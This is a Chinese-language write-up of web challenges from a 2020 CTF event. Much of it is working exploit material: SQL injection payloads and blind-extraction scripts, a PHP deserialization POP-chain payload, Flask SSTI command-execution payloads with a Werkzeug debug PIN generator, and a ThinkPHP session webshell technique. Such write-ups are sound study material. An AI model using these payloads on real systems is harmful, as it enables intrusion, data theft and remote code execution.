前言
这次比赛题目质量挺好的,除啦环境可能有时候有点问题。(就让我遇到了。心态炸了一天。。。)其他都挺好的。
DAY1
简单的招聘系统
知识点:sql注入的联合注入或盲注
存在注册和登陆功能,首先进行注册后登陆进系统,发现有一个模块是管理员才能使用的功能,所以我们就需要登陆管理账号,在登陆后的系统里,没有发现存在漏洞,所以来测试登陆框,万能账号:admin' or 1#
成功登录。
使用管理员的特有功能,进行搜索,测试发现存在注入。
直接使用联合注入:
注库:
1' union select 1,(select database()),3,4,5#
注表:
1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4,5#
注列:
1' union select 1,(Select group_concat(column_name) from information_schema.columns where table_name='flag'),3,4,5#
获得flag
1' union select 1,(select flaaag from flag),3,4,5#
盲注也可以,这里可以用联合注入,就不要用盲注了。
ezupload
知识点:文件上传
这个就不说了,直接上传马,在根目录有个flag和readflag,执行/readflag即可。
babyphp
知识点:反序列化pop链构造
出题人出题笔记:20.2.21 | i春秋公益赛出题笔记
扫描目录存在www.zip。得到源码,开始审计,(入坑了。)
update.php
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}
?>
没仔细看,你还没有登陆呢!
这句话是echo的不是die。。。 我看错了。所以一直看不出来有啥洞,甚至一直认为是弱口令呢。真sb。下次认真看,一句句看。真**
看清之后,思路就清晰多了,只要登陆上就直接给flag。所以要构造pop链,来执行sql语句,最后登陆上,得到flag。
这里需要看看:
lib.php了:
<?php
error_reporting(0);
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="noob123";
public $dbpass="noob123";
public $database="noob123";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}
追踪调用的update方法:
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
update方法里,使用unserialize来处理getNewinfo方法返回值。
再看getNewinfo方法:
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
把获取的参数,生成一个Info类的对象,然后进行序列化,然后再使用safe函数进行安全处理。
这里我们要警觉。在数据已经序列化完成的情况下使用过滤函数改变了序列化字符的长度,导致可以逃逸字符出来,然后注入对象。
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
再看Info类,这个类没什么好说的。
__call() 在一个对象的上下文中,如果调用的方法不能访问,它将被触发
这里并不会触发。没有什么可利用的。
再回到update方法。然后对反序列化的数据对age和nickname进行赋值。然后生成UpdateHelper对象。把$_SESSION['id']
和反序列化的$Info
对象和update的sql传入UpdateHelper类的构造函数。
UpdateHelper构造函数中,把反序列化的$Info
对象进行反序列化处理。生成dbCtrl对象。后开始UpdateHelper对象的执行析构函数。然后执行user类的析构函数。
正常的顺序是这样的。
构造pop链:
但是我们发现UpdateHelper对象的执行析构函数的时候,我们可以把$this->sql=new User(),那么就会调用User的tostring函数。
我们再把$this->nickname=new info();那么就会调用Info的call函数.
我们再$this->CtrlCase=new dbCtrl();那么就会调用dbCtrl的login函数
而该函数可以执行任意的sql语句,并且会把值return出来。
所以构造poc:
<?php
error_reporting(0);
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name='admin';
public $password;
public $mysqli;
public $token='admin';
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct()
{
$this->CtrlCase=new dbCtrl();
}
}
class User
{
public $id;
public $age='select password,id from user where username=?';
public $nickname;
public function __construct()
{
$this->nickname=new info();
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct()
{
$this->sql=new user();
}
}
echo serialize(new UpdateHelper());
//O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}
由于我们是逃逸出来的,所以我们必须得让程序能够成功的序列化。
我们来生成一个正常的info对象:
<?php
class Info{
public $age='1';
public $nickname='alex';
public $CtrlCase;
}
echo serialize(new info());
//O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:4:"alex";s:8:"CtrlCase";N;}
在这个反序列化字符串中,我们能够控制的属性是age和nickname;由于反序列化的字符中有三个属性。为了保持一致,所以我们要在payload前加上";s:8:"CtrlCase";
在后面加上}
来闭合这个反序列化字符串。让它把后面的字符忽略。
得到payload:
";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}
我们构造的payload的长度为443。所以我们需要在nickname中插入足量的黑名单字符,把payload挤进去。一个*
号替换成hacker
,可以挤出五个字符。union
字符串可以挤出一个字符。所以我们要用88个*
号和3个union
。来进行字符逃逸。
所以构造payload:
在update.php里post提交。
age=1&nickname=****************************************************************************************unionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}
盲注
知识点:sql注入之regexp时间盲注
通过fuzz过滤了:select
,union
,%
,*
,<
,>
,between
,into
,insert
,update
,=
,'
,like
等。
直接给了sql语句:
<?php
# flag在fl4g里
include 'waf.php';
header("Content-type: text/html; charset=utf-8");
$db = new mysql();
$id = $_GET['id'];
if ($id) {
if(check_sql($id)){
exit();
} else {
$sql = "select * from flllllllag where id=$id";
$db->query($sql);
}
}
highlight_file(__FILE__);
这个题由于没有过滤;
号,当时一直以为是堆叠注入呢。。。但是没回显。没办法过select
。
正确的思路应该是:跟这提示flag在fl4g里
,意思实际是列名是f14g
。
regexp可以代替等号来判断。
payload的形式:
if(length(database()) regexp 4,sleep(3),1)
脚本:
import requests
flag=''
for i in range(1,50):
a=0
for j in range(32, 128):
url = "http://3ef5bd5636424e94b9f31a782e59f13eab76c847431f4514.changame.ichunqiu.com/?id=if(ascii(substr(fl4g,"+str(i)+",1)) regexp " + str(j) + ",sleep(3),1)"
res = requests.get(url)
try:
result = requests.get(url, timeout=3)
except requests.exceptions.ReadTimeout:
flag+=chr(j)
print(flag)
break
DAY2
easysqli_copy
知识点:sql注入bypass
直接给出源码:
<?php
function check($str)
{
if(preg_match('/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#|-|\^|&|database/i',$str,$matches))
{
print_r($matches);
return 0;
}
else
{
return 1;
}
}
try
{
$db = new PDO('mysql:host=localhost;dbname=pdotest','root','******');
}
catch(Exception $e)
{
echo $e->getMessage();
}
if(isset($_GET['id']))
{
$id = $_GET['id'];
}
else
{
$test = $db->query("select balabala from table1");
$res = $test->fetch(PDO::FETCH_ASSOC);
$id = $res['balabala'];
}
if(check($id))
{
$query = "select balabala from table1 where 1=?";
$db->query("set names gbk");
$row = $db->prepare($query);
$row->bindParam(1,$id);
$row->execute();
}
一看就是宽字节注入,发现没有回显,只能使用时间盲注,但是过滤了select和sleep等,但是没有过滤分号,又造成堆叠注入,
绕过方法:set+prepare+execute 来执行sql语句。把要执行的sql语句转化为十六进制或者concat+char拼接字符。
脚本:
#coding=utf-8
import requests as rq
import sys
reload(sys)
sys.setdefaultencoding("utf8")
def encodepayload(exp):
payload = "0%df%27;set @s={sql};PREPARE a FROM @s;EXECUTE a;"
my_payload = payload.format(sql="0x"+exp.encode('hex'))
return my_payload
url='http://c2822cb900324501ad46f15ee8627c2f96af6088ba91444b.changame.ichunqiu.com/?id='
flag=""
headers={
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0'
}
for a in range(1,50):
for i in range(32,127):
# post= "select ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()), "+str(a)+", 1))="+str(i)+" and sleep(3)"
# post= "select ascii(mid((Select group_concat(column_name) from information_schema.columns where table_name='table1'), "+str(a)+", 1))="+str(i)+" and sleep(3)"#balabala,eihey,fllllll4g,bbb
post= "select ascii(mid((Select group_concat(fllllll4g) from table1), "+str(a)+", 1))="+str(i)+" and sleep(3)"#
print(post)
try:
res=rq.get(url+encodepayload(post),headers=headers,timeout =3)
if i == 126:
print(flag)
exit()
except Exception as e:
flag+=chr(i)
print(flag)
break
Ezsqli
知识点:SQL注入中baypass表名和无列名注入
这里先给出题人smile师傅的官方writeup:
新春战疫公益赛-ezsqli-出题小记
这个题过滤了常见的 or和常用的 innodb_table_stats
和 innodb_index_stats
没办法用了,所以
我们需要找到新的方法来注表名。
库名很常规就可以注出来。
通过这篇聊一聊bypass information_schema我们知道绕过的方法有:
sys.schema_table_statistics_with_buffer
sys.x$schema_table_statistics_with_buffer
sys.x$schema_flattened_keys
然后就是无列名注数据了。因为过滤了in,所以join,using都不能用了,同时过滤了union和select同时使用。没办法用常用的无列名注入了。这里就用到了新的一种方法:
主要利用<,=,>来进行判断,进行注入。
这里由于知道比赛的flag是uuid形式的,没有大写的所以不用考虑大小写问题。但是我们不能为了做题而做题,那么区分大小写的方法有哪些呢:
select (select 1,binary('a')=(select * from user limit 1)
select (select 1,SELECT CONCAT(“A”, CAST(0 AS JSON))=(select * from user limit 1)
select (select 1,0x41)=(select * from user limit 1)
这里面第一种方法不能用。第三种方法只能用于等号。所以最好用第二种。
之后就是写脚本了。
import requests
def get_data(payload):
url = 'http://28d6e66d289a4373a38b155e9236e53aeb8630a0dd34426a.changame.ichunqiu.com/'
data = {
'id':payload
}
req = requests.post(url,data=data)
data = req.text
return data
res = ''
for i in range(1,50):
for j in range(32,127):
a1 = str(hex(j)).replace('0x','')
a2 = ''
for k in res:
a2 += str(hex(ord(k))).replace('0x','')
# f1ag_1s_h3r3_hhhhh
payload = "id=1|| (( select 1,0x{} )> (select * from (f1ag_1s_h3r3_hhhhh)))".format(a2+a1)
# print(payload)
data = get_data(payload)
if 'Nu1L' in data:
res += chr(j-1)
print(res)
if j==32:
print(res.lower())
exit()
break
print(res.lower())
blacklist
原题,复旦大学校赛的时候出过。
paylaod 1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;
DAY3
Flaskapp
知识点:SSTI+Flask PIN
知识点文章:Flask debug pin安全问题
本题主要有两个功能模块,base64加密和解密模块,首先,我们想到base64解密的时候,如果输入的字符不是正常的密文,一定是会报错的。所以我们传入错误字符。
成功出现报错信息,发现出现了debug模式。
通过这个pin码,我们可以在报错页面执行任意python代码。
我们需要一个PIN码才能进入。
我们都PIN并不安全,如果可以得到一些信息,就可以手工算出来。
然后发现解密处存在ssti任意文件读取漏洞。
payload:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('想要读取的文件', 'r').read() }}{% endif %}{% endfor %}
将payload进行base64编码后传入。
我们需要读:
获取machine-id
/proc/self/cgroup真实环境读取/etc/machine-id
获取mac地址
/sys/class/net/eth0/address
读到02:42:ac:12:00:08转十进制2485377957896
利用报错获取路径
/usr/local/lib/python3.7/site-packages/flask/app.py
用户名
/etc/passwd
获取:flaskweb:x:1000:1000::/home/flaskweb:
注意在docker环境中不要读/etc/machine-id,不然算出来的PIN不对
根据上面的信息构造payload:
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485377957896',# str(uuid.getnode()), /sys/class/net/ens33/address
'e96996169e90130c1b6e2b3fb9af5b39abcacc1b1f84211a58e27854c3a1219e'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
成功获取pin码193-425-766
输入PIN,如果PIN正确则得到一个Python的shell:
读flag。
import os
os.listdir('/')
open('this_is_the_flag.txt','r').read()
这个题还可以直接用ssti执行命令:
{{ [].__class__.__base__.__subclasses__()[127].__init__.__globals__['po'+'pen']('ls').read()}}
flag被过滤使用fla\g
绕过:
{{ [].__class__.__base__.__subclasses__()[127].__init__.__globals__['po'+'pen']('cat this_is_the_fla\g.txt').read()}}
easy_thinking
知识点:thinkphp6.0任意文件操作和bypass disfunction
知识分析:ThinkPHP6.0 任意文件操作
存在www.zip
随便输入一个路径,测试发现thinkphp版本为6.0,搜索存在任意文件操作漏洞。
于是,开始复现:
先注册一个账号,然后在登录时候burp抓包,修改session,注意长度必须是32位,将session改成.php
结尾。
然后在搜索处输入的东西都会保存下来。默认的历史都保存在/runtime/session/
目录内。所以在搜索中写入马。
然后在/runtime/session/
+你构造的sessionid就可以访问到。
然后,查看phpinfo()存在禁用函数:
passthru,mail,error_log,mb_send_mail,imap_mail,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
然后在根目录存在readflag,所以只需要bypass执行命令就可以了。
常用的几种方法都不行。
这里直接用脚本:https://github.com/mm0r1/exploits
执行/readflag即可。
ezExpress
听说是原题。不会。。。
Node Game
官方这个题的writeup:http://blog.5am3.com/2020/02/11/ctf-node1/
我不会。。。
因为不会node.js所以就不会。这两个题有时间了再研究一下。这两个题的writeup:i春秋2020新春战“疫”网络安全公益赛GYCTF 两个 NodeJS 题 WriteUp